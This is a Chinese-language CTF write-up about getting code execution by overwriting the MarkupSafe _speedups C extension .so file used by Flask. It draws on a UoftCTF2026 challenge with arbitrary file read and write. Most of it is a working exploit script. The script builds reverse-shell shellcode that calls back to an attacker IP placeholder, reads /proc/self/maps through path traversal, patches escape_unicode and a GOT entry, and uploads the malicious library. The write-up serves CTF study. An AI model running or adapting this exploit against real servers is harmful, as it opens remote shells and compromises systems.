c 扩展模块
Python 中的一些库存在 C 扩展模块,用于提升性能。Linux 中的 C 扩展模块是 .so 文件,例如:_speedups.cpython-312-x86_64-linux-gnu.so。
延迟加载与按页读取
页(Page):内存管理的最小单位,通常 4KB。
.so 文件通过 mmap 映射到进程地址空间,但不会立即读取。只有当 python 进程在运行过程中 cpu 访问某个地址时,触发缺页异常,才会将该地址所在的页从磁盘上的 so 文件读入内存。
c 扩展模块覆盖的实现
以 MarkupSafe 库中 escape_unicode()为例。Flask 的 render_template_string()会调用 escape()函数,escape()内部调用 escape_unicode() 进行 HTML 转义。
攻击者通过覆盖磁盘上的 .so 文件,有两种可能实现攻击的方式:
- 用 shellcode 替换 escape_unicode()的函数体
- 或修改 escape_unicode()内部调用的 libc 函数(如 strlen)的 GOT 表项,指向 shellcode 当 Python 进程下次进行 HTML 转义时,如果被修改的页面尚未加载到内存,就会从修改后的文件读取,触发 shellcode 执行。
以 UoftCTF2026 为例,这道题目在权限范围内可以实现任意文件读和任意文件写,将 python 解释器环境设定在了可写入的 /tmp 目录下的虚拟环境中,web 应用中存在 render_template_string()并且会进行 HTML 转义,也就是要调用到 escape_unicode() 函数。
会触发攻击的实现脚本:
Python
from pwn import*import requests
context.binary = lib = ELF("_speedups.cpython-312-x86_64-linux-gnu.so")
# 1. 生成反向 shell 的 shellcode
payload = asm(f"""
{shellcraft.connect("IPHERE", 8888)} # 连接攻击者服务器
{shellcraft.dup2('rdi', 0)} # 重定向 stdin
{shellcraft.dup2('rdi', 1)} # 重定向 stdout
{shellcraft.dup2('rdi', 2)} # 重定向 stderr
{shellcraft.sh()} # 执行 /bin/sh
""")
# 2. 利用路径遍历读取 /proc/self/maps 获取内存布局
maps = requests.post("https://xxx/read",
data={"filename":"/proc/self/maps"}).text.splitlines()
# 3. 找到 _speedups.so 的加载基址
for line in maps:
if "_speedups.cpython-312-x86_64-linux-gnu.so" in line [-1]:
addr = int(line [0].split('-')[0], 16)break
# 4. 修改本地的 .so 文件
lib_file = bytearray(open("_speedups.cpython-312-x86_64-linux-gnu.so", 'rb').read())
# 5. 将 escape_unicode 函数替换为 shellcode
lib_file [lib.symbols ['escape_unicode']:lib.symbols ['escape_unicode'] + len(payload)] = payload
# 6. 修改 GOT 表项,指向 shellcode 所在地址
lib_file [0x30c8:0x30c8+8] = p64(addr + 0x1130)
# 7. 上传恶意 .so 覆盖原文件
requests.post("https://xxx/upload", files={
"file": ("/tmp/venv_flask/lib/python3.12/site-packages/markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so",
bytes(lib_file))
})Python这里做了两手准备,对 escape_unicode()的函数体和 escape_unicode()内部调用的 libc 函数 GOT 表项都进行了覆盖。

Comments NOTHING